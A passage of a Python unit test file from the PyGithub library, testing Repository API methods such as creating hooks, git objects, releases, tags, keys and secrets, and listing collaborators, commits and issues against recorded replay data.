created by PyGithub") self.assertEqual( label.url, "https://api.github.com/repos/PyGithub/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub", ) def testCreateHookWithMinimalParameters(self): hook = self.repo.create_hook("web", {"url": "http://foobar.com"}) self.assertEqual(hook.id, 257967) def testCreateHookWithAllParameters(self): hook = self.repo.create_hook("web", {"url": "http://foobar.com"}, ["fork"], False) self.assertTrue(hook.active) # WTF self.assertEqual(hook.id, 257993) def testCreateGitRef(self): ref = self.repo.create_git_ref( "refs/heads/BranchCreatedByPyGithub", "4303c5b90e2216d927155e9609436ccb8984c495", ) self.assertEqual( ref.url, "https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/BranchCreatedByPyGithub", ) def testCreateAutolink(self): key = self.repo.create_autolink("DUMMY-", "https://github.com/PyGithub/PyGithub/issues/") self.assertEqual(key.id, 209614) def testCreateGitBlob(self): blob = self.repo.create_git_blob("Blob created by PyGithub", "latin1") self.assertEqual(blob.sha, "5dd930f591cd5188e9ea7200e308ad355182a1d8") def testCreateGitTree(self): tree = self.repo.create_git_tree( [github.InputGitTreeElement("Foobar.txt", "100644", "blob", content="File created by PyGithub")] ) self.assertEqual(tree.sha, "41cf8c178c636a018d537cb20daae09391efd70b") def testCreateGitTreeWithBaseTree(self): base_tree = self.repo.get_git_tree("41cf8c178c636a018d537cb20daae09391efd70b", recursive=False) tree = self.repo.create_git_tree( [ github.InputGitTreeElement( "Barbaz.txt", "100644", "blob", content="File also created by PyGithub", ) ], base_tree, ) self.assertEqual(tree.sha, "107139a922f33bab6fbeb9f9eb8787e7f19e0528") def testCreateGitTreeWithSha(self): tree = self.repo.create_git_tree( [ github.InputGitTreeElement( "Barbaz.txt", "100644", "blob", sha="5dd930f591cd5188e9ea7200e308ad355182a1d8", ) ] ) self.assertEqual(tree.sha, "fae707821159639589bf94f3fb0a7154ec5d441b") def testCreateGitTreeWithNullSha(self): tree = self.repo.create_git_tree( [ github.InputGitTreeElement( "Baz.bar", "100644", "blob", sha=None, ) ] ) self.assertEqual(tree.sha, "9b8166fc80d0f0fe9192d4bf1dbaa87f194e012f") def testCreateGitCommit(self): tree = self.repo.get_git_tree("107139a922f33bab6fbeb9f9eb8787e7f19e0528") commit = self.repo.create_git_commit("Commit created by PyGithub", tree, []) self.assertEqual(commit.sha, "0b820628236ab8bab3890860fc414fa757ca15f4") def testCreateGitCommitWithParents(self): parents = [ self.repo.get_git_commit("7248e66831d4ffe09ef1f30a1df59ec0a9331ece"), self.repo.get_git_commit("12d427464f8d91c8e981043a86ba8a2a9e7319ea"), ] tree = self.repo.get_git_tree("fae707821159639589bf94f3fb0a7154ec5d441b") commit = self.repo.create_git_commit("Commit created by PyGithub", tree, parents) self.assertEqual(commit.sha, "6adf9ea25ff8a8f2a42bcb1c09e42526339037cd") def testCreateGitCommitWithAllArguments(self): tree = self.repo.get_git_tree("107139a922f33bab6fbeb9f9eb8787e7f19e0528") commit = self.repo.create_git_commit( "Commit created by PyGithub", tree, [], github.InputGitAuthor("John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00"), github.InputGitAuthor("John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00"), ) self.assertEqual(commit.sha, "526946197ae9da59c6507cacd13ad6f1cfb686ea") def testCreateGitRelease(self): release = self.repo.create_git_release( "vX.Y.Z-by-PyGithub-acctest", "vX.Y.Z: PyGithub acctest", "This release is created by PyGithub", ) self.assertEqual(release.tag_name, "vX.Y.Z-by-PyGithub-acctest") self.assertEqual(release.title, "vX.Y.Z: PyGithub acctest") self.assertEqual(release.body, "This release is created by PyGithub") self.assertEqual(release.draft, False) self.assertEqual(release.prerelease, False) def testCreateGitReleaseGenerateReleaseNotes(self): release = self.repo.create_git_release("vX.Y.Z-by-PyGithub-acctest-release-notes", generate_release_notes=True) self.assertEqual(release.tag_name, "vX.Y.Z-by-PyGithub-acctest-release-notes") self.assertEqual(release.draft, False) self.assertEqual(release.prerelease, False) def testCreateGitReleaseWithAllArguments(self): release = self.repo.create_git_release( "vX.Y.Z-by-PyGithub-acctest2", "vX.Y.Z: PyGithub acctest2", "This release is also created by PyGithub", False, True, False, "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc", "true", ) self.assertEqual(release.tag_name, "vX.Y.Z-by-PyGithub-acctest2") self.assertEqual(release.title, "vX.Y.Z: PyGithub acctest2") self.assertEqual(release.body, "This release is also created by PyGithub") self.assertEqual(release.draft, False) self.assertEqual(release.prerelease, True) tag = [tag for tag in self.repo.get_tags() if tag.name == "vX.Y.Z-by-PyGithub-acctest2"].pop() self.assertEqual(tag.commit.sha, "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc") def testCreateGitTag(self): tag = self.repo.create_git_tag( "TaggedByPyGithub", "Tag created by PyGithub", "0b820628236ab8bab3890860fc414fa757ca15f4", "commit", ) self.assertEqual(tag.sha, "5ba561eaa2b7ca9015662510157b15d8f3b0232a") def testCreateGitTagWithAllArguments(self): tag = self.repo.create_git_tag( "TaggedByPyGithub2", "Tag also created by PyGithub", "526946197ae9da59c6507cacd13ad6f1cfb686ea", "commit", github.InputGitAuthor("John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00"), ) self.assertEqual(tag.sha, "f0e99a8335fbc84c53366c4a681118468f266625") def testCreateKey(self): key = self.repo.create_key( "Key added through PyGithub", "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw== vincent@IDEE", ) self.assertEqual(key.id, 2626761) def testCreateSourceImport(self): import_repo = self.g.get_user("brix4dayz").get_repo("source-import-test") source_import = import_repo.create_source_import("mercurial", "https://bitbucket.org/hfuss/source-import-test") self.assertEqual(source_import.authors_count, 0) self.assertEqual( source_import.authors_url, "https://api.github.com/repos/brix4dayz/source-import-test/import/authors", ) self.assertEqual( source_import.html_url, "https://github.com/brix4dayz/source-import-test/import", ) self.assertEqual( source_import.repository_url, "https://api.github.com/repos/brix4dayz/source-import-test", ) self.assertEqual(source_import.status, "importing") self.assertEqual(source_import.status_text, "Importing...") self.assertEqual( source_import.url, "https://api.github.com/repos/brix4dayz/source-import-test/import", ) self.assertEqual(source_import.vcs, "mercurial") self.assertEqual(source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test") def testCreateRepositoryDispatch(self): with_payload = self.repo.create_repository_dispatch("type", {"foo": "bar"}) self.assertTrue(with_payload) without_payload = self.repo.create_repository_dispatch("type") self.assertTrue(without_payload) @mock.patch("github.PublicKey.encrypt") def testRepoSecrets(self, encrypt): # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" # GitHub will always capitalize the secret name secrets = (("SECRET_NAME_ONE", "secret-value-one"), ("SECRET_NAME_TWO", "secret-value-two")) repo = self.g.get_repo("AndrewJDawes/PyGithub") for matched_repo_secret in secrets: repo.create_secret(matched_repo_secret[0], matched_repo_secret[1]) repo.update() repo_secrets = repo.get_secrets() matched_repo_secrets = [] for matched_repo_secret in secrets: for repo_secret in repo_secrets: # GitHub will always capitalize the secret name, may be best to uppercase test data for comparison if repo_secret.name == matched_repo_secret[0].upper(): matched_repo_secrets.append(repo_secret) break self.assertEqual(len(matched_repo_secrets), len(secrets)) for matched_repo_secret in matched_repo_secrets: matched_repo_secret.delete() def testCodeScanAlerts(self): codescan_alerts = self.repo.get_codescan_alerts() self.assertListKeyEqual( codescan_alerts, lambda c: c.number, [ 6, ], ) codescan_alert = codescan_alerts[0] self.assertEqual(repr(codescan_alert), "CodeScanAlert(number=6)") self.assertEqual(codescan_alert.state, "open") self.assertEqual( codescan_alert.url, "https://api.github.com/repos/PyGithub/PyGithub/code-scanning/alerts/6", ) self.assertEqual( codescan_alert.created_at, datetime(2021, 6, 29, 12, 28, 30, tzinfo=timezone.utc), ) self.assertEqual( codescan_alert.dismissed_at, datetime(2021, 6, 30, 5, 5, 5, tzinfo=timezone.utc), ) self.assertEqual(codescan_alert.dismissed_reason, "Won't tell") dismissed_by = codescan_alert.dismissed_by self.assertEqual(dismissed_by.login, "dismisser.login") instance = codescan_alert.most_recent_instance self.assertEqual( repr(instance), "CodeScanAlertInstance(" 'ref="refs/heads/master", ' 'analysis_key=".github/workflows/codeql-analysis.yml:analyze"' ")", ) self.assertEqual(instance.ref, "refs/heads/master") self.assertEqual(instance.analysis_key, ".github/workflows/codeql-analysis.yml:analyze") self.assertEqual(instance.environment, "{language:python}") self.assertEqual(instance.state, "open") self.assertListEqual(instance.classifications, ["stupid typo"]) self.assertDictEqual(instance.message, {"text": "Awful stuff might happen."}) self.assertEqual(instance.commit_sha, "deadbeef") location = instance.location self.assertEqual( str(location), "tests/ReplayData/Repository.testCodeScanAlerts.txt @ l10:c2-l10:c48", ) self.assertEqual( repr(location), "CodeScanAlertInstanceLocation(" "start_line=10, start_column=2, " 'path="tests/ReplayData/Repository.testCodeScanAlerts.txt", ' "end_line=10, end_column=48" ")", ) self.assertEqual(location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt") self.assertEqual(location.start_line, 10) self.assertEqual(location.start_column, 2) self.assertEqual(location.end_line, 10) self.assertEqual(location.end_column, 48) rule = codescan_alert.rule self.assertEqual(repr(rule), 'CodeScanRule(name="py/rule-name", id="py/rule-id")') self.assertEqual(rule.id, "py/rule-id") self.assertEqual(rule.name, "py/rule-name") self.assertEqual(rule.security_severity_level, "high") self.assertEqual(rule.severity, "warning") self.assertEqual(rule.description, "Bad practice") tool = codescan_alert.tool self.assertEqual(repr(tool), 'CodeScanTool(version="2.5.7", name="CodeQL", guid=None)') self.assertEqual(tool.guid, None) self.assertEqual(tool.name, "CodeQL") self.assertEqual(tool.version, "2.5.7") instances = list(codescan_alert.get_instances()) self.assertEqual(len(instances), 2) # instance = instances[0] self.assertEqual(instance.ref, "instances[0].ref") self.assertEqual(instance.analysis_key, "instances[0].analysis_key") self.assertEqual(instance.environment, "instances[0].environment") self.assertEqual(instance.state, "instances[0].state") self.assertListEqual(instance.classifications, ["instances[0].classifications"]) self.assertDictEqual(instance.message, {"text": "instances[0].message"}) self.assertEqual(instance.commit_sha, "instances[0].commit_sha") location = instance.location self.assertEqual(location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt") self.assertEqual(location.start_line, 10) self.assertEqual(location.start_column, 2) self.assertEqual(location.end_line, 10) self.assertEqual(location.end_column, 48) # instance = instances[1] self.assertEqual(instance.ref, "instances[1].ref") self.assertEqual(instance.analysis_key, "instances[1].analysis_key") self.assertEqual(instance.environment, "instances[1].environment") self.assertEqual(instance.state, "instances[1].state") self.assertListEqual(instance.classifications, ["instances[1].classifications"]) self.assertDictEqual(instance.message, {"text": "instances[1].message"}) self.assertEqual(instance.commit_sha, "instances[1].commit_sha") location = instance.location self.assertEqual(location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt") self.assertEqual(location.start_line, 20) self.assertEqual(location.start_column, 17) self.assertEqual(location.end_line, 20) self.assertEqual(location.end_column, 42) def testCollaborators(self): lyloa = self.g.get_user("Lyloa") self.assertFalse(self.repo.has_in_collaborators(lyloa)) self.repo.add_to_collaborators(lyloa) self.assertTrue(self.repo.has_in_collaborators(lyloa)) collaborators = self.repo.get_collaborators() self.assertListKeyEqual(collaborators, lambda u: u.login, ["jacquev6", "Lyloa"]) jacquev6 = [u for u in collaborators if u.login == "jacquev6"][0] self.assertTrue(jacquev6.permissions.admin, True) self.assertTrue(jacquev6.permissions.pull, True) self.assertTrue(jacquev6.permissions.push, True) self.assertFalse(jacquev6.site_admin) self.repo.remove_from_collaborators(lyloa) self.assertFalse(self.repo.has_in_collaborators(lyloa)) def testCollaboratorPermission(self): self.assertEqual(self.repo.get_collaborator_permission("jacquev6"), "admin") def testAddToCollaboratorsCustomRole(self): lyloa = self.g.get_user("Lyloa") self.repo.add_to_collaborators(lyloa, "custom_role") def testGetPendingInvitations(self): lyloa = self.g.get_user("Lyloa") self.repo.add_to_collaborators(lyloa) invitations = self.repo.get_pending_invitations() self.assertListKeyEqual(invitations, lambda u: u.invitee.login, ["Lyloa"]) def testRemoveInvitation(self): self.repo.remove_invitation(17285388) def testRemoveAutolink(self): self.repo.remove_autolink(209611) def testCollaboratorPermissionNoPushAccess(self): with self.assertRaises(github.GithubException) as raisedexp: self.repo.get_collaborator_permission("lyloa") self.assertEqual(raisedexp.exception.message, "Must have push access to view collaborator permission.") self.assertEqual(raisedexp.exception.status, 403) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level", "message": "Must have push access to view collaborator permission.", }, ) def testCompare(self): comparison = self.repo.compare("v0.6", "v0.7") self.assertEqual(comparison.status, "ahead") self.assertEqual(comparison.ahead_by, 4) self.assertEqual(comparison.behind_by, 0) self.assertEqual( comparison.diff_url, "https://github.com/PyGithub/PyGithub/compare/v0.6...v0.7.diff", ) self.assertEqual( comparison.html_url, "https://github.com/PyGithub/PyGithub/compare/v0.6...v0.7", ) self.assertEqual( comparison.url, "https://api.github.com/repos/PyGithub/PyGithub/compare/v0.6...v0.7", ) self.assertEqual( comparison.patch_url, "https://github.com/PyGithub/PyGithub/compare/v0.6...v0.7.patch", ) self.assertEqual( comparison.permalink_url, "https://github.com/PyGithub/PyGithub/compare/jacquev6:4303c5b...jacquev6:ecda065", ) self.assertEqual(comparison.total_commits, 4) self.assertListKeyEqual( comparison.files, lambda f: f.filename, [ "ReferenceOfClasses.md", "github/Github.py", "github/Requester.py", "setup.py", ], ) self.assertEqual(comparison.base_commit.sha, "4303c5b90e2216d927155e9609436ccb8984c495") self.assertListKeyEqual( comparison.commits, lambda c: c.sha, [ "5bb654d26dd014d36794acd1e6ecf3736f12aad7", "cb0313157bf904f2d364377d35d9397b269547a5", "0cec0d25e606c023a62a4fc7cdc815309ebf6d16", "ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7", ], ) def testCompareCommitPagination(self): gh = github.Github( auth=self.oauth_token, per_page=4, retry=self.retry, pool_size=self.pool_size, seconds_between_requests=self.seconds_between_requests, seconds_between_writes=self.seconds_between_writes, ) repo = gh.get_repo("PyGithub/PyGithub") comparison = repo.compare("v1.54", "v1.54.1") self.assertEqual(comparison.status, "ahead") self.assertEqual(comparison.ahead_by, 10) self.assertEqual(comparison.behind_by, 0) self.assertEqual(comparison.total_commits, 10) self.assertEqual(len(comparison.files), 228) self.assertEqual(comparison.commits.totalCount, 10) self.assertListKeyEqual( comparison.commits, lambda c: c.sha, [ "fab682a5ccfc275c31ec37f1f541254c7bd780f3", "9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8", "a806b5233f6423e0f8dacc4d04b6d81a72689bed", "63e4fae997a9a5dc8c2b56907c87c565537bb28f", "82c349ce3e1c556531110753831b3133334c19b7", "2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7", "e113e37de1ec687c68337d777f3629251b35ab28", "f299699ccd75910593d5ddf7cc6212f70c5c28b1", "31a1c007808a4205bdae691385d2627c561e69ed", "34d097ce473601624722b90fc5d0396011dd3acb", ], ) def testGetComments(self): self.assertListKeyEqual( self.repo.get_comments(), lambda c: c.body, [ "probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ", "No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks !", "Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ", "Comment created by PyGithub", ], ) def testGetCommits(self): self.assertListKeyBegin( self.repo.get_commits(), lambda c: c.sha, [ "ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7", "0cec0d25e606c023a62a4fc7cdc815309ebf6d16", "cb0313157bf904f2d364377d35d9397b269547a5", "5bb654d26dd014d36794acd1e6ecf3736f12aad7", "4303c5b90e2216d927155e9609436ccb8984c495", "2a7e80e6421c5d4d201d60619068dea6bae612cb", "0af24499a98e85f8ab2191898e8b809e5cebd4c5", "e5ae923a68a9ae295ce5aa20b1227253de60e918", "2f64b625f7e2afc9bef61d0decb459e2ef65c550", "590798d349cba7de6e83b43aa5d4f8b0a38e685d", "e7dca9143a23b8e2045a4a910a4a329007b10086", "ab3f9b422cb3043d35cf6002fc9c042f8ead8c2a", "632d8b63c32a2b79e87eb3b93e1ad228724de4bd", "64c6a1e975e61b9c1449bed016cd19f33ee4b1c5", "99963536fc81db3b9986c761b9dd08de22089aa2", "8d57522bbd15d1fb6b616fae795cd8721deb1c4d", "1140a91f3e45d09bc15463724f178a7ebf8e3149", "936f4a97f1a86392637ec002bbf89ff036a5062d", "e10470481795506e2c232720e2a9ecf588c8b567", "e456549e5265406f8090ae5145255c8ca9ea5e4e", "a91131be42eb328ae030f584af500f56aa08424b", "2469c6e1aeb7919126a8271f6980b555b167e8b0", "a655d0424135befd3a0d53f3f7eff2d1c754854f", "ce62e91268aa34dad0ba0dbee4769933e3a71e50", "1c88ee221b7f995855a1fdfac7d0ba19db918739", "bd1a5dff3c547c634b2d89f5847218820e343883", "b226b5b4e2f44107dde674e7a5d3e88d4e3518df", "25dbd4053e982402c7d92139f167dbe46008c932", "a0cc821c1beada4aa9ca0d5218664c5372720936", "c1440bdf20bfeb62684c6d1779448719dce9d2df", "1095d304b7fab3818dcb4c42093c8c56d3ac05e4", "bd39726f7cf86ea7ffb33b5718241fdab5fc8f53", "1d2b27824d20612066d84be42d6691c66bb18ef4", "6af2bfd0d46bc0eeb8c37b85c7b3003e0e4ae297", "a475d685d8ae709095d09094ea0962ac182d33f0", "a85de99ea5b5e7b38bd68e076d09c49207b8687e", "d24cf209ddd1758188c5f35344f76df818d09a46", "0909fec395bb1f97e2580d6a029cfc64b352aff9", "6e421e9e85e12008758870bc046bc2c6120af72a", "32ed0ebc377efbed5b482b3d49ff54bf1715d55a", "8213df1d744f251aa8e52229643a9f6ce352f3c0", "69cc298fd159f19eb204dd09f17d31dc4abc3d41", "85eef756353e13efcb24c726320cd2617c2a7bd8", "50ac55b25ceba555b84709839f80447552450697", "767d75a580279e457f9bc52bc308a17ff8ea0509", "75e72ffa3066693291f7da03070666e8f885097a", "504047e218e6b34a3828ccc408431634f17b9504", "960db1d5c9853e9f5fbbc9237c2c166ceef1f080", "877dde23e140bbf038f9a2d8f0f07b4e3a965c61", "1c95ddfa09ec0aa1f07ee9ad50a77be1dd74b55e", "99564c1cab139d1e4678f5f83f60d26f1210db7e", "231926207709ceaa61e87b64e34e17d85adecd9c", "fb722625dddb9a32f75190723f7da12683b7c4b2", "cab9d71603e127bdd1f600a759dccea1781fa1ab", "e648e5aeb5edc1fbf83e9d37d2a3cb57c005019a", "4a5cf98e7f959f1b5d9af484760c25cd27d9180d", "5d1add448e0b0b1dadb8c6094a9e5e19b255f67e", "0d9fc99a4b5d1ec6473c9c81c888917c132ffa65", "b56aa09011378b014221f86dffb8304957a9e6bd", "3e8169c0a98ce1e2c6a32ae1256ae0f735065df5", "378558f6cac6183b4a7100c0ce5eaad1cfff6717", "58b4396aa0e7cb72911b75cb035798143a06e0ee", "a3be28756101370fbc689eec3a7825c4c385a6c9", "3d6bd49ce229243fea4bb46a937622d0ec7d4d1c", "58cb0dbdef9765e0e913c726f923a47315aaf80e", "7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0", "97f308e67383368a2d15788cac28e126c8528bb2", "fc33a6de4f0e08d7ff2de05935517ec3932d212e", "cc6d0fc044eadf2e6fde5da699f61654c1e691f3", "2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c", "366ca58ca004b9129f9d435db8204ce0f5bc57c3", "0d3b3ffd1e5c143af8725fdee808101f626f683d", "157f9c13275738b6b39b8d7a874f5f0aee47cb18", ], ) def testGetCommitsWithArguments(self): self.assertListKeyEqual( self.repo.get_commits("topic/RewriteWithGeneratedCode", "codegen/GenerateCode.py"), lambda c: c.sha, [ "de386d5dc9cf103c90c4128eeca0e6abdd382065", "5b44982f6111bff2454243869df2e1c3086ccbba", "d6835ff949141957a733c8ddfa147026515ae493", "075d3d961d4614a2a0835d5583248adfc0687a7d", "8956796e7f462a49f499eac52fab901cdb59abdb", "283da5e7de6a4a3b6aaae7045909d70b643ad380", "d631e83b7901b0a0b6061b361130700a79505319", ], ) def testGetCommitsWithSinceUntil(self): self.assertListKeyEqual( self.repo.get_commits( since=datetime(2013, 3, 1), until=datetime(2013, 3, 31), ), lambda c: c.sha, [ "db5560bd658b5d8057a864f7037ace4d5f618f1b", "f266fed520fea4f683caabe0b38e1f758cfc5cff", "dff094650011398fd8f0a57bf2668a066fb2cbcb", "c1d747a9133a1c6cae1f0e11105a5f490f65fda6", "0bc368973acfb50a531329b6c196ba92e0a81890", "7b3e4c15ed6182963d66ffa9f0522acd0765275c", "4df3a7eb47888f38c4c6dae50573f030a0a3f1e1", "e0db8cad4ec01c65e5e0eb50e11765e425e88ef9", "1c47be4e895b823baf907b25c647e43ab63c16dd", "8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a", "1c67359a318f05e50bf457818e1983ce95aa5946", "1d18bd66f3a4a4225435bd38df04b8a227b5e821", "b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb", "f5d8e221d116b74a200d87afca32247f01204ba1", "dc96fef052f2b5c6adb34da65169e8df3f35f611", "c85af79db11ed1d2f93261ea4069a23ff1709125", "0dd1adb4f06f45d554d12083b312fcdb6f6be8d1", "b7e4000450e89b8c6e947e3a1e52fb06da7c9621", "1d9ad14fa918866c418067e774f65cede8e38682", "1bb05fef01d0a040cb2b931a4d44392784a2f0c1", "d9b29851ddccc907f71f1ae662e57f2cd7c7dc71", "f962bc71fee609cd54fe69c956c8b81703d2c19a", "7a9c0b916c632be8d6a65bc1b6f558508f04bb22", "82ce7b1ee30d308b48bdac6d8737dbca70500462", "1e99e7d5b21c71bf68cc5cc21faec30ee603b8b8", "a397fac6db9f87a903ec3ede9643cb2b4224ed82", "109495175e926731703a55cafd8b542a07366513", "da6bbdb69485fc3256030d8296589d4c2fb5df21", "34c18342dcce9697abc6f522c3506485202e6e7e", "ee29deddd27480401db484733ecde9e7b1df5eda", "0901df1a2bed3f993cfe6e0d4cff5923bbf6ce32", "edcf40bc7f25d1aff5c404406fbb37ad1bcf691e", "f25c54e1d4eefb11c18f3de85270a4b19edea3ce", "23d668f11bdd806a871e0979bf5295d001f66ef2", "50a243671f1fa139cb1186c4a44c1e96b8cd5749", "6a3a384fd0decac1203db6c2bddc58039b0390bc", "82f5b4c61f86ae8c7cc85a31cb1a31180eeae32f", "6ac783974d3985dd0c162c1e8d1150615cc0082e", "0f9bb5d9fd2dcfbf03f094362e86323c9ef915e6", "e25a6a49d1ab1a10c84db9b6722a6186ff6dfcbd", "4f1780f427eba400cbc06897e69eda0ecdecd887", "28648a51a15e430b85d6fe8f2514e1cb06bc76b8", "a39f421ca24bd7aae984f8703159c7e30798a121", "86fe370b97b62548317cb35bc02ece3fabb7fa03", "03a256a4052cacea998d8205a83d5b5465f31e18", "9e6b086c2db5e4884484a04934f6f2e53e3f441b", "0ddb34d987b5a03813fdfa2fac13c933834a4804", ], ) def testGetCommitsWithAuthor(self): self.g.per_page = 5 akfish = self.g.get_user("AKFish") self.assertListKeyBegin( self.repo.get_commits(author="jacquev6"), lambda c: c.sha, ["54f718a15770579a37ffbe7ae94ad30003407786"], ) self.assertListKeyBegin( self.repo.get_commits(author=akfish), lambda c: c.sha, ["38b137fb37c0fdc74f8802a4184518e105db9121"], ) self.assertListKeyBegin( self.repo.get_commits(author="m.ki2@laposte.net"), lambda c: c.sha, ["ab674dfcbc86c70bc32d9ecbe171b48a5694c337"], ) def testGetDownloads(self): self.assertListKeyEqual(self.repo.get_downloads(), lambda d: d.id, [245143]) def testGetEvents(self): self.assertListKeyBegin( self.repo.get_events(), lambda e: e.type, [ "DownloadEvent", "DownloadEvent", "PushEvent", "IssuesEvent", "MemberEvent", "MemberEvent", ], ) def testGetForks(self): self.assertListKeyEqual(self.repo.get_forks(), lambda r: r.owner.login, ["abersager"]) def testCreateFork(self): self.assertEqual(self.repo.create_fork("prtg-dev").full_name, "prtg-dev/PyGithub") def testCreateForkOrg(self): c = self.g.get_organization("prtg-dev") self.assertEqual(self.repo.create_fork(c).full_name, "prtg-dev/PyGithub") def testGetGitRefs(self): self.assertListKeyEqual( self.repo.get_git_refs(), lambda r: r.ref, [ "refs/heads/develop", "refs/heads/master", "refs/heads/topic/DependencyGraph", "refs/heads/topic/RewriteWithGeneratedCode", "refs/tags/v0.1", "refs/tags/v0.2", "refs/tags/v0.3", "refs/tags/v0.4", "refs/tags/v0.5", "refs/tags/v0.6", "refs/tags/v0.7", ], ) def testGetGitRef(self): self.assertTrue(self.g.FIX_REPO_GET_GIT_REF) self.assertEqual( self.repo.get_git_ref("heads/master").object.sha, "31110327ec45f3138e58ed247b2cf420fee481ec", ) def testGetGitRefWithIssue102Reverted(self): self.g.FIX_REPO_GET_GIT_REF = False self.assertFalse(self.g.FIX_REPO_GET_GIT_REF) self.assertEqual( self.repo.get_git_ref("refs/heads/master").object.sha, "31110327ec45f3138e58ed247b2cf420fee481ec", ) self.g.FIX_REPO_GET_GIT_REF = True self.assertTrue(self.g.FIX_REPO_GET_GIT_REF) def testGetGitTreeWithRecursive(self): tree = self.repo.get_git_tree("f492784d8ca837779650d1fb406a1a3587a764ad", True) self.assertEqual(len(tree.tree), 90) self.assertEqual(tree.tree[50].path, "github/GithubObjects/Gist.py") def testGetHooks(self): self.assertListKeyEqual(self.repo.get_hooks(), lambda h: h.id, [257993]) def testGetHookDelivery(self): delivery = self.repo.get_hook_delivery(257993, 12345) self.assertEqual(delivery.id, 12345) self.assertEqual(delivery.guid, "abcde-12345") self.assertEqual( delivery.delivered_at, datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), ) self.assertEqual(delivery.redelivery, False) self.assertEqual(delivery.duration, 0.27) self.assertEqual(delivery.status, "OK") self.assertEqual(delivery.status_code, 200) self.assertIsNone(delivery.throttled_at) self.assertEqual(delivery.event, "issues") self.assertEqual(delivery.action, "opened") self.assertEqual(delivery.installation_id, 123) self.assertEqual(delivery.repository_id, 456) self.assertEqual(delivery.url, "https://www.example-webhook.com") self.assertIsInstance(delivery.request, github.HookDelivery.HookDeliveryRequest) self.assertEqual(delivery.request.headers, {"content-type": "application/json"}) self.assertEqual(delivery.request.payload, {"action": "opened"}) self.assertIsInstance(delivery.response, github.HookDelivery.HookDeliveryResponse) self.assertEqual(delivery.response.headers, {"content-type": "text/html;charset=utf-8"}) self.assertEqual(delivery.response.payload, "ok") def testGetHookDeliveries(self): deliveries = list(self.repo.get_hook_deliveries(257993)) self.assertEqual(len(deliveries), 1) self.assertEqual(deliveries[0].id, 12345) self.assertEqual(deliveries[0].guid, "abcde-12345") self.assertEqual( deliveries[0].delivered_at, datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), ) self.assertEqual(deliveries[0].redelivery, False) self.assertEqual(deliveries[0].duration, 0.27) self.assertEqual(deliveries[0].status, "OK") self.assertEqual(deliveries[0].status_code, 200) self.assertEqual(deliveries[0].event, "issues") self.assertEqual(deliveries[0].action, "opened") self.assertEqual(deliveries[0].installation_id, 123) self.assertEqual(deliveries[0].repository_id, 456) self.assertEqual(deliveries[0].url, "https://www.example-webhook.com") def testGetIssues(self): self.assertListKeyEqual( self.repo.get_issues(), lambda i: i.id, [ 4769659, 4639931, 4452000, 4356743, 3716033, 3715946, 3643837, 3628022, 3624595, 3624570, 3624561, 3624556, 3619973, 3527266, 3527245, 3527231, ], ) def testGetIssuesWithArguments(self): milestone = self.repo.get_milestone(3) user = self.g.get_user("jacquev6") otherUser = self.g.get_user("Lyloa") bug = self.repo.get_label("Bug") self.assertListKeyEqual( self.repo.get_issues(milestone, "closed"), lambda i: i.id, [3624472, 3620132, 3619658, 3561926], ) self.assertListKeyEqual(self.repo.get_issues(labels=[bug]), lambda i: i.id, [4780155]) self.assertListKeyEqual(self.repo.get_issues(labels=[bug.name]), lambda i: i.id, [4780155]) self.assertListKeyEqual( self.repo.get_issues(assignee=user, sort="comments", direction="asc"), lambda i: i.id, [ 4793106, 3527231, 3527266, 3624556, 4793216, 3619973, 3624595, 4452000, 3643837, 3628022, 3527245, 4793162, 4356743, 4780155, ], ) 